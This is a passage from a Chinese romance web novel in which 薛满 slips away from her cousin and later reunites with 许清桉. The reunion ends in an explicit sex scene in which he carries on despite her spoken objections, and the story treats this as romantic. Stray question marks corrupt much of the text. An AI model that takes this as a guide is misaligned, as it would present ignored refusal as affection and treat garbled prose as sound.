…… 回到船舱,薛满躺回软塌,愈发肯定心中猜测。裴长旭前往江南绝非为游玩,必定有正事?要办。 太子的舅舅在?边境,莫非,难道?,兴许,他会去一趟边境? 薛满猛地坐起身,“明荟,去找张地图来。” 明荟边抖斗篷边道?:“奴婢这没有,得去问问云飞他们。” 薛满道?:“你赶紧去问,我急着用?,顺便把云斛叫来。” 明荟听话照做,一刻钟后,云斛带着地图前来报到。 他恭敬抱拳,“属下云斛见过小姐。” 薛满打量他几眼,不错,长肉了,精神恢复得挺好。 她命云斛摊开地图,找出阜安府的位置,问道?:“从?杭州到阜安府要多久?走水路还是陆地?” 云斛道?:“阜安府在?内陆,那边靠近北方,冬季水面?容易结冰,坐马车会更方便。时间的话,两地相隔不算特别?远,快马加鞭地赶,五、六日能到。” 薛满脑中徐徐形成一个计划:等到达杭州后,趁着裴长旭外出办事?时,她便找机会溜之大吉,前往阜安府寻找少爷……裴长旭有正事?要办,她为何要乖乖在?原地等候?横竖她是个幌子,裴长旭能李代?桃僵,顺便找个人再扮她便是! “云斛。”她压低声音,窃窃私语,“我有几件事?情要吩咐你……” 云斛听了一阵,眼神倏然明亮:小姐这般信任他,他一定不会叫她失望! …… 四日后,一行人抵达箛城,安顿在?郊外的一所?别?院中。 没错,是箛城,而非杭州府。 箛城在?杭州北面?,两地同属一省,虽相隔不远,却各属两府。 对于终点的更改,裴长旭轻描淡写,“我听闻箛城的天池温泉能舒筋活血,美容养颜,便想着带你来此地先玩半月,后面?再去杭州。” 好借口?! 薛满若是懵懂无?知,定会被他的借口?蒙骗,但?她如今眼明心慧,一想便明白其中窍门。 一个地方怎能出现两个端王?真的要办事?,假的自然要顶上去。有假端王,假薛小姐也定伴随左右,游山玩水,不亦乐乎。 薛满的眼珠子滴溜溜直转:这么说来,事?情比她想得更简单,等裴长旭一走,她便能收拾包袱走人。 “我知道?箛城。”薛满兴致勃勃,“它南临太湖,太湖风光举世闻名?,可?比京城的银月湖要大上几十倍。” 裴长旭笑问:“那明日我陪你去太湖坐船?” 薛满一如既往的高傲,却不再坚声拒绝,“再说吧,我想先在?城里逛逛,看看有没有好吃好玩的新鲜东西。” 裴长旭都?依着她,“好,我陪你。” 兴许是换了全然陌生的新环境,裴长旭明显地感觉到,阿满对他的排斥减少许多。她喜欢箛城的吃食,欣赏太湖的风光,每日乐此不疲地穿街走巷,偶尔会施舍他一个真心实?意的笑脸。 裴长旭无?比眷恋这段独处的时光,但?三日后,杜洋便通知他该出发了。 “殿下,几位大人都?在?南昌府等着您。” 裴长旭揉摁眉间,“阿满正玩得开心,我想再陪她几日。” 杜洋道?:“时间紧迫,您去过南昌府后,还得去永州了解情况,最后等许大人前来会合,一同赶往兰塬。” “真不能再拖?” “殿下,圣上已经来信催了。”杜洋道?:“属下会派人照顾好薛小姐,务必让她玩得尽兴,等您忙完正事?后再来陪她也不迟。” ……行吧。 晚膳时,裴长旭亲自为她布菜,薛满有所?察觉,主动问:“你做了什么亏心事?,要做这等讨好的行为?” “任何事?都?逃不过表妹的眼。”裴长旭微叹,“我说好要陪你游玩,然而昨日收到东旭王的消息,称他正在?福建操练水师,希望我能过去巡视。” “东旭王是谁?” “是父皇最小的弟弟,一直以来统帅东边水师。”裴长旭道?:“我本想带你同去,奈何水师中鱼龙混杂,嘴上无?门,水师操练更是繁复无?趣。” “哼。”薛满轻抬下巴,“你要去便去,不用?打我的主意。我明日定好去茶馆听戏,没空陪你去看什么水师表演。” “是操练。” “我管他是什么。”薛满佯装随意地问:“你几时能回来?” “没有准数,但?我会尽快回来,带你去杭州看西湖美景。” “谁稀罕,你不回来最好。” 裴长旭看出她嘴硬,心里却不大快意,没吃几口?便回房生闷气?去了。 阿满心中并非无?他。 裴长旭久违的感到神清气?爽,若能再这样独处半年,何愁挽不回阿满的心? 待成亲后,他定会创造许多独处的机会,叫她再无?暇顾及那多余之人。 ——殊不知,薛满是回房间偷笑去了。 她招来云斛问:“我叫你办的事?怎么样了?” 云斛道?:“属下不辱使命,已经在?外头找了一名?与您身形接近的姑娘,随时能替代?小姐出门。” 薛满问:“马车呢?干粮呢?其他必需品呢?” 依譁 云斛咧嘴笑,“小姐放心,云斛办事?靠谱,全部都?准备妥当。” 万事?俱备,只欠东风! 裴长旭第二日巳时走,是以,当天上午,薛满仍得装模作样地前往茶馆听戏。 今日茶馆说的是一出“落魄少年遭蔑视,背井离乡求富贵,衣锦还乡寻伊人,哪知阴差阳错,伊人另嫁,有情男女憾终生”的故事?。 大概便是:男主与心上人两情相悦,为给心上人一个美好的未来,便只身外出寻找机遇。五年时间眨眼而过,男主功成名?就,返乡求娶心上人。哪知反派暗中使坏,截取男主这几年寄去的信件,并称男主在?外已娶妻生子。心上人万念俱灰,与反派成亲,等男主回来揭发真相时,心上人肚中已有了反派的骨肉…… 结局停在?男主忍痛微笑,祝福心上人儿女双全的一幕,而他痴情到老,未娶旁人。 说书人的话音刚落,茶馆里便爆发出此起彼伏的声音。 “什么烂故事?,不应该是男主功成名?就,娶妻生子,徒留那女子黯然伤神吗?” “都?当主角了,过得还这样窝囊,不如一早便留在?家乡当个窝囊废!” “除了反派,里头的人都?笨死了,被人玩弄于股掌间!” “谁写的本子,你赶紧找他去改改故事?,改成那女子杳无?音信,导致男主另娶他人,妻女双全,令女子悔恨终生的结局!” …… 吵死了! 薛满朝云飞看了一眼,示意他上前打赏银钱。云飞往说书人的桌案放上一锭白银,道?:“我家小姐很喜欢你的故事?。” 银子到手,谁还管旁人骂不骂。说书人眉开眼笑地谢过,心道?:娘子所?言不假,取悦女子,果真比取悦男子更容易得赏银! 说书人心情美丽,薛满却逐渐品出不对劲。这故事?怎么听怎么熟悉,少爷远走阜安府,与她分隔两地,她虽命人留了信件,焉知他几时收到,能否顺利收到? 假使有人从?中作梗,如这故事?里的反派一样截取信件,让少爷以为她无?动于衷呢?少爷又恰好在?阜安府遇到合心合意的女子,两人一拍即合,共谱恋曲…… 不能等了,再等少爷就要移情别?恋了! 薛满火速命云飞回去打探,在?得知裴长旭已经出发后,她当机立断道?:“明荟和云飞留下掩人耳目,云斛跟明萱跟我走,放心,我半个月……不,二十天后便回来。” 小姐又要逃跑了!好在?这次带上了护卫婢女,没有独自上路。 明荟无?可?奈何却只能听命行事?,带上云斛安排的新小姐,努力与云飞装模作样。 前两日,端王的人并没有察觉异常,等到第三日,端王竟风尘仆仆地赶回别?院,一眼便看出他们的装神弄鬼。 这一次,裴长旭没有发怒,直接抽出杜洋的长剑,对准云飞的咽喉,“我只问一句,她几时离开的别?院?” 云飞不卑不亢,“请恕属下无?可?奉告。” 眼看长剑要刺穿云飞的咽喉,明荟失声大喊:“殿下,小姐三日前便走了!您若是杀了云飞,小姐一辈子都?不会原谅您!” 裴长旭自嘲一笑,瞧瞧,连明荟都?能精准掐住他的命脉,她家小姐更是肆无?忌惮地挑战底线。 阿满啊阿满,你吃定我不敢伤你,对吗? 他丢开长剑,不再看地上的几人,“去阜安府。” 杜洋道?:“殿下,您还得去永州——” “本王说了。”裴长旭回身,一字一顿地道?:“去,阜,安。” 90-94 第91章 第 91 章 裴长旭看不清他们交握的细节, 只觉薛满停顿一瞬后?,疾步走回桌畔。 他不甚在意,阿满既决心与许清桉划清界限, 许清桉便不值得?他再浪费情绪。 “广阑王与傅迎呈在狱中如何?”裴长旭问。 许清桉道:“两人态度一致,均是闭口不言。” 裴长旭道:“索图里和蒋沐宇何在?” 许清桉道:“下官将他们关押在另一处牢房, 索图里不肯配合,成日骂天咒地。蒋沐宇倒是有些动摇, 想必不多时便能问出端倪。” “派人继续审问, 能拿到?关键证词最好,拿不到?的话……”裴长旭道:“等?本王接管兰塬,自有人会替他们开口。” 聊完正事后?,许清桉领命离开, 薛满忍到?他的背影消失, 眼中才敢流露忧色。 他要领兵去兰塬捉拿叛党吗?可他是个文臣,从没有统率军队的经?验。会不会有人看他年轻便使绊子?更何况到?了兰塬, 各路势力纷杂,危险无处不在……想跟他一起?去,想陪在他身边, 想与从前那?般与他患难与共, 可如今的她哪有资格? “阿满。” “我?在。” “我?想喝茶。” “好。” 薛满收拾好情绪,端茶到?床前,“有些烫。” 裴长旭道:“你帮我?吹一吹?” 薛满:“……” 裴长旭道:“开玩笑的。” 薛满没理他, 说出思虑很久的话,“三哥, 我?打算回京。” 裴长旭道:“好, 等?我?能下地,处理好手中事务, 便带着?你回京。” “你误会了我?的意思。”薛满道:“我?是说,我?想自己回京,这?两日便动身。” “不行,我?不放心你一个人上路。” “我?会带上足够的护卫。” “那?也不行。”裴长旭道:“我?不会再放你离开我?的视线。” 薛满蹙眉,“我?不是小?孩子了。” “即便你七老八十,也永远是我?的小?表妹。”裴长旭道:“乖,听三哥的话。” 薛满却不像从前那?乖顺,“兰塬局势复杂,处理起?来耗时耗力,你应当留在此把控大局。而我?离开京城许久,是时候回到?祖父的面前尽孝。” “不急这?么十天半个月。”裴长旭坚持,“等?我?与你一道走。” 薛满沉默片刻,“三哥,我?不是你豢养的鸟儿,便是要走,也不需要你的同意。” 裴长旭叹息:阿满终归和从前有所不同。 “是我?不对,没有顾虑你的心情。”裴长旭缓了声,“但你我?对外声称去了江南修养,若你独身返回,定会惹人东疑西猜。” “可广阑王的事情一出,大家?都会知道你的所作所为。”遮掩还有什么意义? “一切都要看父皇的意思。”裴长旭道:“此事牵扯甚多,在彻底稳妥前,还是谨慎小?心的好。” 也是。 薛满被成功说服,接过?他只喝了两口的茶,听他道:“阿满,等?回京后?,我?会请父皇将婚约提前。” 薛满脱口而出:“祖父答应过?我?,会帮我?不计代价地解除婚约。” 裴长旭问:“事到?如今,你仍坚持解除婚约?” 她低眸,不去看他的神色,“是。” 裴长旭道:“即便你知道我?与江书韵没什么,一切都是场误会?” 她道:“嗯。” 裴长旭道:“我?以为你想清楚了,才会与许清桉保持距离。” “我?确实想得?很清楚,我?与许清桉没有未来,但我?与你,”她郑重地道:“我?们之间的问题,从来都不是他。” “那?是谁?江诗韵?江书韵?还是我?府中伺候的婢女?”裴长旭急切地道:“我?向你保证,不会再看其他女子一眼,也绝不纳妾,余生只爱护你一人。” 若是在一年前,她能听到?这?些保证,定会热泪盈眶,感动地扑进他怀里。 可今时不同往日,她除去遗憾歉疚,给不出其他回应,“三哥,没了婚约,我?们仍旧能做兄妹。” 薛满离开后?,裴长旭对着?空荡荡的房间,半晌不能动弹。 他竟以为……竟以为三百多个日夜过?去,阿满会一成不变地回到?原地。事实却是,阿满在长大,她变得?勇敢,勇敢到?能在黑熊的手下救出他;也变得?果断,果断到?能反驳他的话语,坚持心中所想。 阿满不要许清桉,但也不肯要他。 …… 许清桉花了一日集结好军队,浩浩荡荡地前往兰塬。出发前,他找遍每个角落,都没有见到?那?抹熟悉的身影。 阿满没有来。 许清桉想,总归是他先动的情,先动情便授柄于人,不似她,想抽身便能轻易抽身。 他往天际看了一眼,晨光熹微,远方渺茫。 便再给她一些时日。 等?他平安归来,不会再给她任何喘息的机会。 …… 其实,薛满偷偷地来了,穿着?灰扑扑的褂子,扮作黄脸的年轻小?厮,藏在十分不起?眼的角落,目送许清桉消失在道路的尽头?。 眼泪无声落下,又被她倔强地拭去。 没事,一切都会过?去,随着?时间流逝,再浓烈的爱意也会斑驳褪色。如三哥对江诗韵,又如她对三哥。 她自以为能处理好沉甸甸的心事,但身体无法骗人,当夜便发起?高热,连续三日都半梦半醒。 梦里,她回到?了晏州郊外的山洞、衡州的衙门、侯府中的瑞清院,她与何湘等?人说笑玩闹,身边总缺不了许清桉的身影。 真开心,开心到?她不想醒来。 裴长旭却阴魂不散,每日在她耳畔呼唤,“阿满,阿满,阿满……” 到?第?四日,薛满睁开眼,虚弱地埋怨:“三哥,你真的好吵啊。” 裴长旭松了口气,“你再不醒,我?便要去请道士、和尚到?你耳边继续吵。” “道士跟和尚是两派宗教?,你怎能将他们请到?一起?念经??” “我?要请,他们便必须得?来。” 裴长旭想扶她坐起?来,她先一步起?身,靠坐在迎枕上,“你能下地了?” “嗯,我?刚好些,你又病倒,让人不禁怀疑是我?带衰了你。” “胡说八道,我?自病我?的,和你有什么干系。” 久违的轻松对话,叫两人都笑出了声,仿佛那?些爱恨情仇从不存在。 “三哥,你不生气吗?” “生气有用吗?” “没有用。” “那?怨恨呢,怨恨有用吗?” “也没有用。”薛满道:“我?心意已决,谁劝都没用。” “无碍,我?能等?。” “你永远等?不到?你想要的答案。” “那?我?们便拭目以待,看永远究竟能有多远。” 薛满见他虽说不通,但神色缓和,没有钻牛角尖,便也随他去了。 在她看不见的时候,裴长旭笑容变淡,眸光难掩晦暗。 在休养了五六日后?,薛满招来云斛问:“你和空青他们有联系吗?” “暂时没有。”云斛道:“但属下能飞鸽传书他们,小?姐需要吗?” “不需要。”薛满一口回绝,过?了半日又找他,“你能不能,能不能……” “能不能打听下许少卿是否平安?” 薛满点头?又摇头?,“别说是我?要问的。” “属下明白。”云斛贴心地道:“属下会旁敲侧击,不叫空青察觉出端倪。” 云斛效率极快,当日便给空青写去书信,但等?回信也要三四五日。这?期间,远在杭州府的明荟、云飞等?人赶到?昭州,薛家?主仆得?以团聚。 薛满的身体好转后?,派人打听到?当地最灵验的寺庙,避开裴长旭空闲的时候,带上明荟等?人前往。 她跪在高大慈悲的佛像前,双手合十,面目虔诚。 “信女薛满,今日到?此,有三愿祈求佛祖……” 一愿许清桉逢凶化吉,平安归来。 二愿许清桉心想事成,宏图万里。 三愿许清桉身体健康,长命百岁。 她在佛前跪了许久,将这?三句话来回地念,比当初在若兰寺时更真心百倍。 许久后?,她拖着?发麻的双腿起?身,明荟忙上前扶住她,“小?姐,奴婢帮您揉揉腿吧。” 薛满道:“无碍,我?去外面坐会儿就?好。” 明荟扶着?她到?院里休息,不远处是佛香旺盛的青铜宝鼎,有两名年轻男女正手执细香,对着?宝鼎念念有词。 青年道:“佛祖在上,请保佑我?与姐姐一路顺风,心想事成。姐姐将来能寻个如意郎君,我?能找个靠谱挣钱的差事,最好每个月的酬劳不低于十两白银……” 相比于他,女子的愿望则简单得?多,“希望铭弟健康平安,前程似锦。” 姐弟俩送完香,正要去往大殿跪拜时,青年随意往左边看了眼,惊喜地道:“姐姐,你看那?是不是何大哥的婢女阿满?” 樊忆梦转头?,果然?见到?一张熟悉的俏脸。阿满姑娘在这?,岂非何公子也在? “阿满!”樊数铭热情地走向她,“你怎么会在这?里?何大哥人呢?” 不等?薛满说话,旁边的云飞已抱剑挡在他身前,肃声问:“来者何人?” “……”樊数铭傻住。 “我?认识他们。”薛满忙道:“他们是我?和三哥的朋友。” 三哥是谁? 樊数铭和樊忆梦不明所以,待众人来到?寺庙准备的休憩处,明荟泡上一盏茶后?退到?角落,薛满才跟他们简单解释了几句。 “何公子是我?的表哥。”薛满道:“我?因为好玩,才装作他的婢女出门。” “我?早就?说嘛!”樊数铭大咧咧地道:“你瞧着?细皮嫩肉,伺候人时也不周到?,哪里像个婢女。” 樊忆梦观察更为仔细,发现眼前的姑娘除去身份,气度亦是截然?不同。比起?之前的活泼跳跃,眼前的她举止端方,浑是名门贵女的姿态。 “阿满姑娘。”樊忆梦问出心中所虑,“敢问何公子何在?” “三哥也在昭州。” “那?,求香畔可有刁难他?他可有受到?威胁?如今行动是否自由?” “你放心,他很好,你们以后?也会很好。”薛满道:“因为从今往后?,求香畔将彻底消失。” 樊数铭与樊忆梦闻言愕然?,再想追问细节,薛满已转移话题,“我?听三哥说你们要去原州,没想到?会在这?里遇到?你们。” “是,我?们本要直接去原州,但出发没多久,姐姐就?因为担心何公子,不肯再往远了去。”樊数铭道:“她想离兰塬近一些,等?找到?机会再回去,打探何公子的情况。” 樊忆梦红着?脸解释:“毕竟,何公子是因我?才被牵扯进内楼。” 薛满怎能看不出她对裴长旭的情意?换作之前,她定是看热闹不嫌事大,但这?会儿只剩下沉默。 樊数铭问:“对了,你们在昭州住哪?” 薛满便说了住处的位置。 樊数铭看了眼樊忆梦,脑子转得?飞快,“真是巧了,我?们便住在隔两条街的客栈里,要不这?样,我?们待会去接何大哥出来,晚上一起?去酒楼用膳?” 一边是樊数铭热情的邀请,一边是樊忆梦隐含期待的目光,薛满揉着?额角,顿时左右为难。 答应?三哥已完成任务,定然?不耐烦应付他们姐弟,何况樊忆梦明显对他有情。不答应?她得?找什么样的借口,既能不伤和气,又能彻底断绝他们来往的心思。 她喝了口茶,润润干燥的嗓,打算认真地胡扯一通时,樊数铭紧盯她的身后?喊:“何大哥!” 樊忆梦起?身,朝来人款款欠身,“何大公子。” “……”得?,本尊来了,省得?她撒谎骗人。 裴长旭朝两人颔首,“嗯,幸会。” 樊数铭愣住,一时不能理解他的冷淡。樊忆梦本揣着?满腔热忱,也只能见他无视自己,走到?薛满旁边嘘寒问暖。 “出门怎么不说一声?” “我?没说,你不也找来这?里了?” “我?担心,便跟过?来看看。” “有什么可担心的,我?带了这?么多人出门。你那?边忙完事了?” “还没有,晚上继续,走吧,我?们回家?。” “三哥。”薛满提醒他那?边还站着?两个大活人,“樊家?姐弟想邀请你一起?用晚膳。” “多谢两位的好意,但不必客气。”裴长旭道:“求香畔已被连根拔起?,你们再无后?顾之忧,往后?能随心所欲地生活。” 他轻描淡写地说完,便催促着?薛满离开。待他们走后?,樊数铭难以置信地问:“姐姐,那?人真是我?们认识的何公子吗?” 樊忆梦喃喃道:“恐怕不是。” 樊数铭当她在说笑,一模一样的五官,怎么可能不是同个人,“是我?哪里得?罪他了吗?没有啊,我?待阿满姑娘很客气,待他也很客气……算了,他不搭理我?们,我?们也不搭理他,便当是萍水相逢的一场梦。” 是萍水相逢,还是对方的一场预谋? 樊忆梦忽然?想通了某些事:何公子接近她,怜惜她,明知危险,也要为她进入内楼……又或者,他的目标一直都是内楼,而她恰好成为那?个合适的借口。 樊数铭仍在碎碎念:“何公子说求香畔被连根拔起?,若是真的,那?便是天大的一桩好事。姐姐,我?们继续往东边走吧,去一个没有人认识我?们的地方……” 樊忆梦从怅惘中回神,露出笑容道:“好。” 不管何公子接近她是否另有目的,但他摧毁了求香畔,解救出许多与她一样身不由己的女子。 能拥有自由,这?便够了。 * 三日后?,云斛收到?空青的回信,转头?便交给薛满。 薛满拆开信封,逐字逐句地看。信中空青称行动顺利,已将大部分的叛党和南垗奸细捉拿归案。有少数漏网之鱼,正由许清桉带领在全城搜捕,若没有意外,五天内便能返回昭州复命。 读到?最后?一段时,薛满略显茫然?。 空青说,此番随行的昭州军队中,竟有名巾帼不让须眉的女将。她是昭州军主将的独生女,从小?在军中摸爬滚打,耍得?一手好长枪,曾在许清桉受袭时果断出手,免去许清桉的皮肉之苦。 那?岂非也是救命的恩情? 薛满心中五味杂陈,想当初,她便是在黑衣人手中救下许清桉的性?命,许清桉才对她另眼相看。如今又来了个救命之恩,他是否也会…… 随即落寞垂眸:是她决意要划清界限,那?他无论与谁有瓜葛,都不是她该操心的事情。 她将信纸方方正正地叠好,放到?枕头?下面,不断告诉自己:只要他平安回来便好。 然?而,真到?许清桉回来那?日,见着?他身后?那?抹英姿飒爽的身影时,薛满几乎落荒而逃。 她怕再停留片刻,便会抛弃理智,冲到?许清桉面前酸言酸语。 她自认为克制的行为,落到?许清桉眼中便完全变了味。他想,有些人像极乌龟,习惯性?地缩在壳中,唯有逼得?她无处可退,才肯直面真实的心意。 他在有璟阁中做过?一次,而今更是熟能生巧。 当晚,裴长旭为许清桉、昭州军等?人举办了接风宴席。他坐在主座,与昭州的官员、将领们谈笑风生,许清桉则坐在他的右下首,一杯接一杯地饮酒。 他身侧坐着?的正是空青所指的那?名女将领,名为殷红,年方二十一,比许清桉还大上一岁。 相处半月,殷红知晓许清桉这?人冷淡,便与旁边的人咬耳朵,“许少卿看起?来心情欠佳,怎么,有谁惹到?他了?” 那?人道:“没有吧,端王一直夸他年轻有为,言语间还有为他牵红线的意思。” 殷红便问:“跟谁牵红线?” 那?人道:“跟你啊!” 殷红无语,“开什么玩笑,像许少卿这?样的京城贵公子,想必早晨起?来洗脸便有十八道步骤,我?可吃不大消!比起?他,我?觉得?那?名叫蜚零的护卫更有男子气概,你瞧见没,他竟能徒手扛起?一口巨鼎!” 宴席过?半,殷红去外面散步透气,察觉到?有人鬼祟地跟在后?头?。 殷红故意将她引到?了偏僻处,随即丢出一颗石子,撞得?那?人痛呼出声。 “哎哟!” 殷红双手抱臂,玩味地望着?那?名女子,“你是何人,跟着?我?有何意图?” 那?人不是别人,正是薛满的贴身婢女明荟。她捂着?额头?,支支吾吾地道:“我?,没有,我?只是路过?。” 殷红道:“我?不信你说的话,走吧,我?带你去端王面前走一趟。” 殷红做出要捉拿她的姿势,吓得?明荟忙道:“女大人误会了,奴婢是端王殿下表妹的贴身婢女,方才跟着?你是因为,是因为……” “为何?” 明荟有口难言,她总不能说担心殷红与许世子有非同寻常的关系,特地前来打探吧? 都怪空青,非要在她面前说那?一通似是而非的话!什么殷红与许世子志趣相投,形影不离,对世子更有救命之恩 …… 明荟在心底将空青骂了一通,才对殷红道:“奴婢是好奇怎样的女子能上阵杀敌,想来瞻仰下女大人的风采而已。” 殷红摩挲着?下巴,其实吧,她偶然?听见过?空青、蜚零议论许少卿的私事,知晓许少卿与端王的表妹有情感纠葛。但回到?昭州又偶然?得?知,端王与这?位表妹有圣上亲指的婚约。 看来是一场复杂的爱恨纠葛! 殷红何等?聪慧,瞬间猜到?婢女的意图,甚是爽朗地道:“叫你家?小?姐安心,我?与许少卿没说过?几句话,不过?是点个头?的交情。” 明荟欢喜地道:“女大人风采过?人,将来的夫婿定比世子更加优秀!” 殷红便揽过?她的肩膀,“你跟许世子的护卫熟吗?” 明荟问:“哪个护卫,空青还是蜚零?” 殷红道:“蜚零,不爱说话的那?个。” 明荟:“因主子们的关系,奴婢与他偶有来往。” 殷红道:“你觉得?他可能留在昭州,入赘到?我?家?吗?” 明荟:“……”这?个,您是不是问蜚零本人更准确些呢? 好不容易送走微醺的殷红,明荟回到?房间,本想告诉薛满打探到?的好消息,找遍屋子没见到?人。 打听一圈,原是薛满跑到?小?厨房亲自揉面去了。 明荟挽起?袖子想帮忙,被薛满摇头?拒绝,“我?想自己试试。” 明荟便站在一旁,见主子不断地和面、切面、揉面,次次失败,次次重来。 不知揉了多久,薛满停住手中动作,低声道:“我?总是将事情搞得?一团糟糕。” “小?姐,您没有……” “走吧,我?累了。” 薛满疲惫不堪,真到?了屋里,却遣散明荟的伺候,从枕下拿出一样东西,坐在桌前反复地看。 那?是许清桉过?年时送她的珍珠樱花流苏簪子。 恢复记忆后?,她便没戴过?它,只将它放在触手可及的地方。痛苦难过?时,只要看着?它,回味过?去的美好甜蜜,便能稍稍抚平心伤。 烛光倒映着?她的眸,静谧又脆弱。 身侧忽然?传来一道男声,“既对我?不理不睬,又为何要留着?它?” 薛满吓得?坐直身子,望向角落里的山水屏风,眼睁睁见后?头?走出一名俊美青年。风流跌宕,气度矜冷,不是许清桉又能是谁? 薛满惊愕,“你,你怎么会在这?里!” 许清桉顾自道:“你既决心要与端王重修旧好,便不该留着?我?送你的簪子。” 薛满的嘴快过?脑子,“你送了我?,便是我?的东西,你管我?留或不留。” 许清桉道:“我?偏要管,你待如何?” 薛满握紧簪子,扭开脸道:“这?是我?的卧室,许少卿贸然?闯入实未免冒昧,还请你马上离开。” 许清桉淡道:“哦,我?醉了酒,无意中闯入此地。” “……”得?醉成什么样,才能这?般理直气壮的瞎说? “把簪子还我?,我?便马上离开。” “你来这?里,就?是为了要回簪子?” “不然?呢?” 果然?是有了新人,对旧人便不假辞色了。薛满忍着?酸溜溜的妒意,赌气道:“我?还你就?是!” 她本想将簪子扔到?地上,终究是舍不得?,快步走到?他跟前,“拿去。” 许清桉没接,“你确定要还给我??” 薛满道:“是你要的,你又反过?来问我??” 许清桉再次确认:“还给我?,将来便是一刀两断。” 薛满将东西塞到?他手里,狠下心道:“你走吧。” 许清桉没再纠缠,利落地开门走人。 薛满盯着?不远处的床帐,眼眶逐渐泛红,清泪簌簌而下。 她试图安慰自己,“薛满,你该学会习惯,习惯便好了。” 安慰没有用,她的心像被硬生生地扯裂,疼得?快死了。 她干脆蹲在地上,抱膝开始低泣。犹记得?一年前,她在南溪别院门口见到?三哥与江书韵时,亦觉得?天都要塌了。可与此刻的心情相比,那?时的难过?何其浅薄。 往后?她再也不能使唤许清桉,不能靠近他,不能分享喜怒哀乐…… 轻微的脚步声响起?,有人走到?她的面前,学她一般蹲着?道:“是你先放弃我?,为何还会伤心?” 薛满愣愣地看着?他,他怎么还在这?里? 许清桉用帕子拭着?她的泪,拭着?拭着?,变为捧住她的脸。 他问:“既然?不舍得?,为何要赶我?走?” 薛满的泪再度决堤,无力继续伪装,“你,你喜欢的人根本不是我?。” 许清桉问:“不是你,那?是谁?” 薛满哽咽:“你喜欢的人是阿满,自始至终都是阿满。” 许清桉道:“你不认为你是阿满?” 薛满道:“我?是薛满,不是你认识的那?个阿满。” 许清桉问:“难道你忘了我?们的过?去?” 薛满摇头?,边哭边道:“正因为没有忘,我?才不能骗你。我?不是她,我?没有她的勇敢,也没有她的任性?,更没有她的自信坚强。” 所谓的阿满,不过?是她看完《婢女奋进录》后?,臆想出的另一个自己:勇敢任性?,自信坚强,闪闪发光,与本人截然?相反的另一个自己。 她越想越心灰意冷,起?身又想赶人。他却拉住她的手腕,用力地揽进怀里。 他道:“在我?眼里,你就?是阿满,阿满就?是你。” 薛满异常固执,“我?不是她,我?姓薛名满,从小?长在皇后?身边,习惯按部就?班的生活。遇到?事情习惯忍让,能不吵架便不吵架,能退一步海阔天空,便退一步海阔天空……” 是了,阿满有气便撒,有仇必报,当不来忍气吞声之辈。但那?又如何?同一张脸,同样的记忆,同样的情感,即便有细微差别,也不影响最终结果。 她是薛满,也是他的阿满。 许清桉不再浪费口舌,直接将她拦腰抱起?,丢进柔软的床铺中。跟着?,他慢条斯理地解去腰带,敞开外衣,朝她步步逼近。 薛满傻眼,“你,你,你要做什么?” “看不出来吗?”许清桉道:“我?要睡你。” “……”许清桉疯了! 薛满瞪圆眼睛,翻身便撑着?手臂要逃。奈何青年心意已决,从背后?将她捞进怀里,顺着?魂牵梦萦的脸颊,一路往下细密地亲吻。 衣裳被修长的手指解开,层层剥落,露出少女凝白的肩。 青年掐紧她的腰贴向自己,埋进滑腻的颈间,带些报复意味地轻咬。 薛满眸中弥漫开水雾,仍在推拒,“许清桉,你不能这?样……” “为何不能?” “我?们,我?们没有成亲……” “迟早会成亲。” “但是……” “嘘。”许清桉道:“阿满,这?时候你不该说话。” 薄如蝉翼的纱帐落下,烛光投映出青年高大的身影,将少女坚定地覆到?身下。 烛影摇红,夜阑饮散春宵短。 * 醒来时,薛满不知今夕何夕。 她不着?寸缕,腰上横着?一只精健的手臂,依偎在某人宽厚的胸膛里。 昨晚的记忆逐渐回笼,薛满顿时脸庞涨红,呼吸窘迫。 许清桉和她……她和许清桉…… 啊! 她双手捂脸,短暂的羞愤过?后?,便觉心口溢满了甜蜜。 方才她懵懂无措,只能跟着?他的掌控起?起?伏伏。情浓时,他不厌其烦地附在她耳畔道,他喜欢的人是失忆的阿满,更是眼前的薛满。 她从未体验过?那?样极致的欢愉,因为情,情由他所起?;因为欲,欲也由他所赐。 她湿润了眸,轻吻上他的喉结,片刻后?,换来另一场近乎失控的耳鬓厮磨…… “木已成舟,生米也已经?煮成熟饭。”她端详青年安逸的睡颜,小?声道:“许清桉,往后?便是你想逃,我?也会天涯海角地缠着?你。” 本该熟睡的青年睁开一双桃花眼,“是吗?那?许某便拭目以待。” 薛满的心疯狂漏拍,慌忙躲进被里。许清桉便隔着?被子搂住她,“薛小?姐躲进被里,莫非是想仔细欣赏我?的身体?” 这?话何其香艳狎昵! 薛满速即探出脑袋,恶狠狠地道:“不许你取笑我?!” “好,不取笑。”许清桉拢紧双臂,“许某往后?会以薛小?姐的话为圣旨,叫我?往东绝不敢往西。” 他拥着?她,眉眼欢悦,舍不得?松开半分。 薛满彻底卸下防备,袒露心声,“我?以为恢复记忆后?,便会与你分道扬镳。” 许清桉道:“我?不愿,也不许你愿。” “嗯。”薛满道:“我?要一辈子当你的阿满,当瑞清院的大管家?。” “女主人。”许清桉纠正:“当瑞清院唯一的女主人。” “那?,女主人的权力有多大?” “具体来说说,你想要多大?” 薛满还未说话,忽然?察觉他贴上来,身体某处正起?着?惊人变化。 这?,这?这?这?! 她的脸颊炸开红晕,正待逃之夭夭,许清桉却先一步摁住她的肩,再度欺身覆上。 长夜漫漫,岂能浪费大好时光? 第92章 第 92 章 被翻红浪几度, 终于在?天幽幽亮时偃旗息鼓。 薛满筋疲力尽地睡去,转醒时,身上?已穿着干净的白色中?衣。 许清桉抚着她的长发, “醒了?” “嗯。”薛满忍着羞意,直接钻进他的怀里, “你今日有事忙吗,要?不要?早些起来??” “还好, 晚些不碍事。”许清桉道:“我们来?聊会儿天?” “你想聊什么?” “聊我离开?墨城后, 都发生?了哪些事。” “好啊。” 薛满便将裴长旭如何参加三次宴会,通过哪些试验,以及她识破十八皇子的事情,一五一十地说来?。 “登船后的事情呢?” 薛满又将十八皇子话里话外瞧不起她, 她却装傻充愣, 哄骗对方喝下掺有迷药的糕点?,成功抓获十八皇子、蒋沐宇后, 却迎来?傅迎呈追击的事情说了。 “后来?你们便跳江逃亡?” “是?,我们每两个人抱着一根木头?,顺着江水漂流。我与三哥在?天亮时漂到岸上?, 找到一处山洞生?火休息, 没想到来?了一只黑熊。三哥叫我藏在?山洞里,他独身去对付黑熊,但我不放心便跟了出去, 趁黑熊不注意时,用袖箭射中?了它的双眼。” “阿满真厉害。”许清桉赞道:“等回京后, 我教你马上?射箭可好?” “好。”薛满道:“我还想学做糖, 揉面条,耍长枪, 绣像样的荷包……” 瞧这颗丰富多?彩的脑子,与从前有什么两样? 